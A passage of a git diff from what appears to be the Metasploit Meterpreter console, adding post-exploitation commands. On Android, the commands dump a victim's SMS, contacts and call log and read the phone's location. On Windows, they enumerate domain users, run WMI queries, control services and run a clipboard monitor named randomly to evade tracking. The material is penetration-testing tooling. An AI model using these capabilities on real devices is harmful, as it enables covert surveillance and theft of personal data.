res = client.android.device_shutdown(seconds) + + if res + print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + else + print_error('Device shutdown failed') + end + end + + def cmd_dump_sms(*args) + + path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + dump_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] + ) + + dump_sms_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: dump_sms [options]') + print_line('Get sms messages.') + print_line(dump_sms_opts.usage) + return + when '-o' + path = val + end + } + + smsList = [] + smsList = client.android.dump_sms + + if smsList.count > 0 + print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + begin + info = client.sys.config.sysinfo + + data = "" + data << "\n=====================\n" + data << "[+] Sms messages dump\n" + data << "=====================\n\n" + + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" + + smsList.each_with_index { |a, index| + + data << "##{index.to_i + 1}\n" + + type = 'Unknown' + if a['type'] == '1' + type = 'Incoming' + elsif a['type'] == '2' + type = 'Outgoing' + end + + status = 'Unknown' + if a['status'] == '-1' + status = 'NOT_RECEIVED' + elsif a['status'] == '1' + status = 'SME_UNABLE_TO_CONFIRM' + elsif a['status'] == '0' + status = 'SUCCESS' + elsif a['status'] == '64' + status = 'MASK_PERMANENT_ERROR' + elsif a['status'] == '32' + status = 'MASK_TEMPORARY_ERROR' + elsif a['status'] == '2' + status = 'SMS_REPLACED_BY_SC' + end + + data << "Type\t: #{type}\n" + + time = a['date'].to_i / 1000 + time = Time.at(time) + + data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n" + data << "Address\t: #{a['address']}\n" + data << "Status\t: #{status}\n" + data << "Message\t: #{a['body']}\n\n" + } + + ::File.write(path, data) + print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + + return true + rescue + print_error("Error getting messages: #{$!}") + return false + end + else + print_status('No sms messages were found!') + return false + end + end + + + def cmd_dump_contacts(*args) + + path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + dump_contacts_opts = Rex::Parser::Arguments.new( + + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for contacts list'] + + ) + + dump_contacts_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: dump_contacts [options]') + print_line('Get contacts list.') + print_line(dump_contacts_opts.usage) + return + when '-o' + path = val + end + } + + contactList = [] + contactList = client.android.dump_contacts + + if contactList.count > 0 + print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + begin + info = client.sys.config.sysinfo + + data = "" + data << "\n======================\n" + data << "[+] Contacts list dump\n" + data << "======================\n\n" + + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" + + contactList.each_with_index { |c, index| + + data << "##{index.to_i + 1}\n" + data << "Name\t: #{c['name']}\n" + + if c['number'].count > 0 + (c['number']).each { |n| + data << "Number\t: #{n}\n" + } + end + + if c['email'].count > 0 + (c['email']).each { |n| + data << "Email\t: #{n}\n" + } + end + + data << "\n" + } + + ::File.write(path, data) + print_status("Contacts list saved to: #{path}") + + return true + rescue + print_error("Error getting contacts list: #{$!}") + return false + end + else + print_status('No contacts were found!') + return false + end + end + + def cmd_geolocate(*args) + + generate_map = false + geolocate_opts = Rex::Parser::Arguments.new( + + '-h' => [ false, 'Help Banner' ], + '-g' => [ false, 'Generate map using google-maps'] + + ) + + geolocate_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: geolocate [options]') + print_line('Get current location using geolocation.') + print_line(geolocate_opts.usage) + return + when '-g' + generate_map = true + end + } + + geo = client.android.geolocate + + print_status('Current Location:') + print_line("\tLatitude: #{geo[0]['lat']}") + print_line("\tLongitude: #{geo[0]['long']}\n") + print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n") + + if generate_map + link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}" + print_status("Generated map on google-maps:") + print_status(link) + Rex::Compat.open_browser(link) + end + + end + + def cmd_dump_calllog(*args) + + path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + dump_calllog_opts = Rex::Parser::Arguments.new( + + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for call log'] + + ) + + dump_calllog_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: dump_calllog [options]') + print_line('Get call log.') + print_line(dump_calllog_opts.usage) + return + when '-o' + path = val + end + } + + log = client.android.dump_calllog + + if log.count > 0 + print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + begin + info = client.sys.config.sysinfo + + data = "" + data << "\n=================\n" + data << "[+] Call log dump\n" + data << "=================\n\n" + + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" + + log.each_with_index { |a, index| + + data << "##{index.to_i + 1}\n" + + data << "Number\t: #{a['number']}\n" + data << "Name\t: #{a['name']}\n" + data << "Date\t: #{a['date']}\n" + data << "Type\t: #{a['type']}\n" + data << "Duration: #{a['duration']}\n\n" + } + + ::File.write(path, data) + print_status("Call log saved to #{path}") + + return true + rescue + print_error("Error getting call log: #{$!}") + return false + end + else + print_status('No call log entries were found!') + return false + end + end + + + def cmd_check_root(*args) + + check_root_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + check_root_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: check_root [options]') + print_line('Check if device is rooted.') + print_line(check_root_opts.usage) + return + end + } + + is_rooted = client.android.check_root + + if is_rooted + print_good('Device is rooted') + elsif + print_status('Device is not rooted') + end + end + + # + # Name for this dispatcher + # + def name + 'Android' + end + +end + +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 6766ce7e7f..09a63403e9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'set' require 'rex/post/meterpreter' require 'rex/parser/arguments' @@ -314,6 +315,8 @@ class Console::CommandDispatcher::Core print_status("Starting IRB shell") print_status("The 'client' variable holds the meterpreter client\n") + session = client + framework = client.framework Rex::Ui::Text::IrbShell.new(binding).run end @@ -413,20 +416,23 @@ class Console::CommandDispatcher::Core @@load_opts.parse(args) { |opt, idx, val| case opt - when "-l" - exts = [] - path = ::File.join(Msf::Config.data_directory, 'meterpreter') + when "-l" + exts = SortedSet.new + msf_path = MeterpreterBinaries.metasploit_data_dir + gem_path = MeterpreterBinaries.local_dir + [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) - exts.push($1) + exts.add($1) end } - print(exts.sort.join("\n") + "\n") + end + print(exts.to_a.join("\n") + "\n") - return true - when "-h" - cmd_load_help - return true + return true + when "-h" + cmd_load_help + return true end } @@ -459,16 +465,19 @@ class Console::CommandDispatcher::Core end def cmd_load_tabs(str, words) - tabs = [] - path = ::File.join(Msf::Config.data_directory, 'meterpreter') + tabs = SortedSet.new + msf_path = MeterpreterBinaries.metasploit_data_dir + gem_path = MeterpreterBinaries.local_dir + [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) if (not extensions.include?($1)) - tabs.push($1) + tabs.add($1) end end } - return tabs + end + return tabs.to_a end def cmd_use(*args) @@ -728,10 +737,10 @@ class Console::CommandDispatcher::Core @@write_opts.parse(args) { |opt, idx, val| case opt - when "-f" - src_file = val - else - cid = val.to_i + when "-f" + src_file = val + else + cid = val.to_i end } diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb index ffd231c7e0..326c837d3f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb @@ -16,6 +16,8 @@ class Console::CommandDispatcher::Extapi require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window' require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service' require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard' + require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi' + require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi' Klass = Console::CommandDispatcher::Extapi @@ -23,7 +25,9 @@ class Console::CommandDispatcher::Extapi [ Klass::Window, Klass::Service, - Klass::Clipboard + Klass::Clipboard, + Klass::Adsi, + Klass::Wmi ] include Console::CommandDispatcher diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb new file mode 100644 index 0000000000..a8659650e3 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -0,0 +1,198 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Extended API ADSI management user interface. +# +### +class Console::CommandDispatcher::Extapi::Adsi + + Klass = Console::CommandDispatcher::Extapi::Adsi + + include Console::CommandDispatcher + + # Zero indicates "no limit" + DEFAULT_MAX_RESULTS = 0 + DEFAULT_PAGE_SIZE = 0 + + # + # List of supported commands. + # + def commands + { + "adsi_user_enum" => "Enumerate all users on the specified domain.", + "adsi_computer_enum" => "Enumerate all computers on the specified domain.", + "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." + } + end + + # + # Name for this dispatcher + # + def name + "Extapi: ADSI Management" + end + + # + # Options for the adsi_user_enum command. + # + @@adsi_user_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_user_enum_usage + print( + "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the users on the target domain.\n\n" + + "Enumeration returns information such as the user name, SAM account name, locked\n" + + "status, desc, and comment.\n" + + @@adsi_user_enum_opts.usage) + end + + # + # Enumerate domain users. + # + def cmd_adsi_user_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_user_enum_usage + return true + end + + domain = args.shift + filter = "(objectClass=user)" + fields = [ + "samaccountname", + "name", + "distinguishedname", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_computer_enum command. + # + @@adsi_computer_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_computer_enum_usage + print( + "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the computers on the target domain.\n\n" + + "Enumeration returns information such as the computer name, desc, and comment.\n" + + @@adsi_computer_enum_opts.usage) + end + + # + # Enumerate domain computers. + # + def cmd_adsi_computer_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_computer_enum_usage + return true + end + + domain = args.shift + filter = "(objectClass=computer)" + fields = [ + "name", + "distinguishedname", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_domain_query command. + # + @@adsi_domain_query_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_domain_query_usage + print( + "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the objects on the target domain.\n\n" + + "Enumeration returns the set of fields that are specified.\n" + + @@adsi_domain_query_opts.usage) + end + + # + # Enumerate domain objects. + # + def cmd_adsi_domain_query(*args) + page_size = DEFAULT_PAGE_SIZE + max_results = DEFAULT_MAX_RESULTS + + args.unshift("-h") if args.length < 3 + + @@adsi_domain_query_opts.parse(args) { |opt, idx, val| + case opt + when "-p" + page_size = val.to_i + when "-m" + max_results = val.to_i + when "-h" + adsi_domain_query_usage + return true + end + } + + # Assume that the flags are passed in at the end. Safe? + switch_index = args.index { |a| a.start_with?("-") } + if switch_index + args = args.first(switch_index) + end + + domain = args.shift + filter = args.shift + + objects = client.extapi.adsi.domain_query(domain, filter, max_results, page_size, args) + + table = Rex::Ui::Text::Table.new( + 'Header' => "#{domain} Objects", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => objects[:fields] + ) + + objects[:results].each do |c| + table << c + end + + print_line + print_line(table.to_s) + + print_line("Total objects: #{objects[:results].length}") + + print_line + + return true + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 8a95288ae1..199cad709c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -5,7 +5,6 @@ module Rex module Post module Meterpreter module Ui - ### # # Extended API window management user interface. @@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard" + "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the target's clipboard", + "clipboard_monitor_start" => "Start the clipboard monitor", + "clipboard_monitor_pause" => "Pause the active clipboard monitor", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor", + "clipboard_monitor_dump" => "Dump all captured clipboard content", + "clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it", + "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard # @@get_data_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ] ) def print_clipboard_get_data_usage print( "\nUsage: clipboard_get_data [-h] [-d]\n\n" + - "Attempts to read the data from the victim's clipboard. If the data is in a\n" + + "Attempts to read the data from the target's clipboard. If the data is in a\n" + "supported format, it is read and returned to the user.\n" + @@get_data_opts.usage + "\n") end # - # Get the data from the victim's clipboard + # Get the data from the target's clipboard # def cmd_clipboard_get_data(*args) download_content = false @@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard end } - loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) - ::FileUtils.mkdir_p( loot_dir ) - end + dump = client.extapi.clipboard.get_data(download_content) - # currently we only support text values - results = client.extapi.clipboard.get_data(download_content) - - if results.length == 0 + if dump.length == 0 print_error( "The current Clipboard data format is not supported." ) return false end - results.each { |r| - case r[:type] - when :text - print_line - print_line( "Current Clipboard Text" ) - print_line( "======================" ) - print_line - print_line( r[:data] ) - - when :jpg - print_line - print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" ) - - if download_content - file = Rex::Text.rand_text_alpha(8) + ".jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |f| - f.write r[:data] - end - print_good( "Clipboard image saved to #{path}" ) - else - print_line( "Re-run with -d to download image." ) - end - - when :files - if download_content - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each { |f| - download_file( loot_dir, f[:name] ) - } - print_good( "Downloaded #{r[:data].length} file(s)." ) - print_line - else - table = Rex::Ui::Text::Table.new( - 'Header' => 'Current Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each { |f| - table << [f[:name], f[:size]] - total += f[:size] - } - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - end - end - - print_line - } + parse_dump(dump, download_content, download_content, download_path) return true end @@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def clipboard_set_text_usage + def print_clipboard_set_text_usage print( "\nUsage: clipboard_set_text [-h] <text>\n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard @@set_text_opts.parse(args) { |opt, idx, val| case opt when "-h" - clipboard_set_text_usage + print_clipboard_set_text_usage return true end } - return client.extapi.clipboard.set_text(args.join(" ")) + return client.extapi.clipboard.set_text(args.join(" ")) end -protected + # + # Options for the clipboard_monitor_start command. + # + @@monitor_start_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Capture image content when monitoring (default: true)" ] + ) + + # + # Help for the clipboard_monitor_start command. + # + def print_clipboard_monitor_start_usage + print( + "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + + "Starts a background clipboard monitoring thread. The thread watches\n" + + "the clipboard on the target, under the context of the current desktop, and when\n" + + "changes are detected the contents of the clipboard are captured. Contents can be\n" + + "dumped periodically. Image content can be captured as well (and will be by default)\n" + + "however this can consume quite a bit of memory.\n\n" + + @@monitor_start_opts.usage + "\n") + end + + # + # Start the clipboard monitor. + # + def cmd_clipboard_monitor_start(*args) + capture_images = true + + @@monitor_start_opts.parse(args) { |opt, idx, val| + case opt + when "-i" + # default this to true + capture_images = val.downcase != 'false' + when "-h" + print_clipboard_monitor_start_usage + return true + end + } + + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :cap_img => capture_images + }) + + print_good("Clipboard monitor started") + end + + # + # Options for the clipboard_monitor_purge command. + # + @@monitor_purge_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_purge command. + # + def print_clipboard_monitor_purge_usage + print("\nUsage: clipboard_monitor_purge [-h]\n\n" + + "Purge the captured contents from the monitor. This does not stop\n" + + "the monitor from running, it just removes captured content.\n\n" + + @@monitor_purge_opts.usage + "\n") + end + + # + # Purge the clipboard monitor captured contents + # + def cmd_clipboard_monitor_purge(*args) + @@monitor_purge_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_purge_usage + return true + end + } + client.extapi.clipboard.monitor_purge + print_good("Captured clipboard contents purged successfully") + end + + # + # Options for the clipboard_monitor_pause command. + # + @@monitor_pause_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_pause command. + # + def print_clipboard_monitor_pause_usage + print("\nUsage: clipboard_monitor_pause [-h]\n\n" + + "Pause the currently running clipboard monitor thread.\n\n" + + @@monitor_pause_opts.usage + "\n") + end + + # + # Pause the clipboard monitor captured contents + # + def cmd_clipboard_monitor_pause(*args) + @@monitor_pause_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_pause_usage + return true + end + } + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused successfully") + end + + # + # Options for the clipboard_monitor_resumse command. + # + @@monitor_resume_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_resume command. + # + def print_clipboard_monitor_resume_usage + print("\nUsage: clipboard_monitor_resume [-h]\n\n" + + "Resume the currently paused clipboard monitor thread.\n\n" + + @@monitor_resume_opts.usage + "\n") + end + + # + # resume the clipboard monitor captured contents + # + def cmd_clipboard_monitor_resume(*args) + @@monitor_resume_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_resume_usage + return true + end + } + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed successfully") + end + + # + # Options for the clipboard_monitor_dump command. + # + @@monitor_dump_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] + ) + + # + # Help for the clipboard_monitor_dump command. + # + def print_clipboard_monitor_dump_usage + print( + "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" + + "Dump the capture clipboard contents to the local machine..\n\n" + + @@monitor_dump_opts.usage + "\n") + end + + # + # Dump the clipboard monitor contents to the local machine. + # + def cmd_clipboard_monitor_dump(*args) + purge = true + download_images = true + download_files = true + download_path = nil + + @@monitor_dump_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-p" + purge = val.downcase != 'false' + when "-h" + print_clipboard_monitor_dump_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_dump({ + :include_images => download_images, + :purge => purge + }) + + parse_dump(dump, download_images, download_files, download_path) + + print_good("Clipboard monitor dumped") + end + + # + # Options for the clipboard_monitor_stop command. + # + @@monitor_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] + ) + + # + # Help for the clipboard_monitor_stop command. + # + def print_clipboard_monitor_stop_usage + print( + "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" + + @@monitor_stop_opts.usage + "\n") + end + + # + # Stop the clipboard monitor. + # + def cmd_clipboard_monitor_stop(*args) + dump_data = true + download_images = true + download_files = true + download_path = nil + + @@monitor_stop_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-x" + dump_data = val.downcase != 'false' + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-h" + print_clipboard_monitor_stop_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_stop({ + :dump => dump_data, + :include_images => download_images + }) + + parse_dump(dump, download_images, download_files, download_path) if dump_data + + print_good("Clipboard monitor stopped") + end + +private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) @@ -182,17 +377,64 @@ protected if stat.directory? client.fs.dir.download( dest, source, true, true ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } elsif stat.file? client.fs.file.download( dest, source ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end end + def parse_dump(dump, get_images, get_files, download_path) + loot_dir = download_path || "." + if (get_images || get_files) && !::File.directory?( loot_dir ) + ::FileUtils.mkdir_p( loot_dir ) + end + + dump.each do |ts, elements| + elements.each do |type, v| + title = "#{type} captured at #{ts}" + under = "=" * title.length + print_line(title) + print_line(under) + + case type + when 'Text' + print_line(v) + + when 'Files' + total = 0 + v.each do |f| + print_line("Remote Path : #{f[:name]}") + print_line("File size : #{f[:size]} bytes") + if get_files + download_file( loot_dir, f[:name] ) + end + print_line + total += f[:size] + end + + when 'Image' + print_line("Dimensions : #{v[:width]} x #{v[:height]}") + if get_images and !v[:data].nil? + file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join(loot_dir, file) + path = ::File.expand_path(path) + ::File.open(path, 'wb') do |x| + x.write v[:data] + end + print_line("Downloaded : #{path}") + end + end + print_line(under) + print_line + end + end + end + end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb index 7896e10a3a..5b0895fb2c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb @@ -22,8 +22,9 @@ class Console::CommandDispatcher::Extapi::Service # def commands { - "service_enum" => "Enumerate all registered Windows services", - "service_query" => "Query more detail about a specific Windows service" + "service_enum" => "Enumerate all registered Windows services", + "service_query" => "Query more detail about a specific Windows service", + "service_control" => "Control a single service (start/pause/resume/stop/restart)" } end @@ -33,6 +34,32 @@ class Console::CommandDispatcher::Extapi::Service def name "Extapi: Service Management" end + + # + # Initialize the instance + # + def initialize(shell) + super + + @status_map = { + 1 => "Stopped", + 2 => "Starting", + 3 => "Stopping", + 4 => "Running", + 5 => "Continuing", + 6 => "Pausing", + 7 => "Paused" + } + + @start_type_map = { + 0 => "Boot", + 1 => "System", + 2 => "Automatic", + 3 => "Manual", + 4 => "Disabled" + } + end + # # Options for the service_enum command. # @@ -44,7 +71,7 @@ class Console::CommandDispatcher::Extapi::Service # Query a single service for more detail. # def cmd_service_enum(*args) - @@service_enum_opts.parse(args) { |opt, idx, val| + @@service_enum_opts.parse(args) do |opt, idx, val| case opt when "-h" print( @@ -55,17 +82,7 @@ class Console::CommandDispatcher::Extapi::Service "able to interact with the desktop.\n\n") return true end - } - - status_map = { - 1 => "Stopped", - 2 => "Starting", - 3 => "Stopping", - 4 => "Running", - 5 => "Continuing", - 6 => "Pausing", - 7 => "Paused" - } + end services = client.extapi.service.enumerate @@ -78,14 +95,14 @@ class Console::CommandDispatcher::Extapi::Service ] ) - services.each { |s| + services.each do |s| table << [ s[:pid], - status_map[s[:status]], + @status_map[s[:status]], s[:interactive] ? "Y" : "N", "#{s[:name].downcase} (#{s[:display]})" ] - } + end print_line print_line(table.to_s) @@ -107,9 +124,9 @@ class Console::CommandDispatcher::Extapi::Service # Query a single service for more detail. # def cmd_service_query(*args) - args << "-h" if args.length == 0 + args.unshift("-h") if args.length != 1 - @@service_query_opts.parse(args) { |opt, idx, val| + @@service_query_opts.parse(args) do |opt, idx, val| case opt when "-h" print( @@ -119,25 +136,18 @@ class Console::CommandDispatcher::Extapi::Service "binary path, DACL, load order group, start type and more.\n\n") return true end - } + end service_name = args.shift - start_type_map = { - 0 => "Boot", - 1 => "System", - 2 => "Automatic", - 3 => "Manual", - 4 => "Disabled" - } - detail = client.extapi.service.query(service_name) print_line print_line("Name : #{service_name}") print_line("Display : #{detail[:display]}") print_line("Account : #{detail[:startname]}") - print_line("Start Type : #{start_type_map[detail[:starttype]]}") + print_line("Status : #{@status_map[detail[:status]]}") + print_line("Start Type : #{@start_type_map[detail[:starttype]]}") print_line("Path : #{detail[:path]}") print_line("L.O. Group : #{detail[:logroup]}") print_line("Interactive : #{detail[:interactive] ? "Yes" : "No"}") @@ -146,6 +156,39 @@ class Console::CommandDispatcher::Extapi::Service end + # + # Options for the service_control command. + # + @@service_control_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Query a single service for more detail. + # + def cmd_service_control(*args) + args.unshift("-h") if args.length != 2 + + @@service_control_opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print( + "\nUsage: service_control [-h] <servicename> <op>\n" + + " <servicename> : The name of the service to control.\n" + + " <op> : The operation to perform on the service.\n" + + " Valid ops: start pause resume stop restart.\n\n") + return true + end + end + + service_name = args[0] + op = args[1] + + client.extapi.service.control(service_name, op) + + print_good("Operation #{op} succeeded.") + end + end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb new file mode 100644 index 0000000000..d4670fb42b --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Extended API WMI Querying interface. +# +### +class Console::CommandDispatcher::Extapi::Wmi + + Klass = Console::CommandDispatcher::Extapi::Wmi + + include Console::CommandDispatcher + + # Zero indicates "no limit" + DEFAULT_MAX_RESULTS = 0 + DEFAULT_PAGE_SIZE = 0 + + # + # List of supported commands. + # + def commands + { + "wmi_query" => "Perform a generic WMI query and return the results" + } + end + + # + # Name for this dispatcher + # + def name + "Extapi: WMI Querying" + end + + # + # Options for the wmi_query command. + # + @@wmi_query_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-r" => [ true, "Specify a different root object (defaults to 'root\\CIMV2')" ] + ) + + def wmi_query_usage + print( + "\nUsage: wmi_query <query string> [-r root]\n\n" + + "Query the target and display the results.\n\n" + + @@wmi_query_opts.usage) + end + + # + # 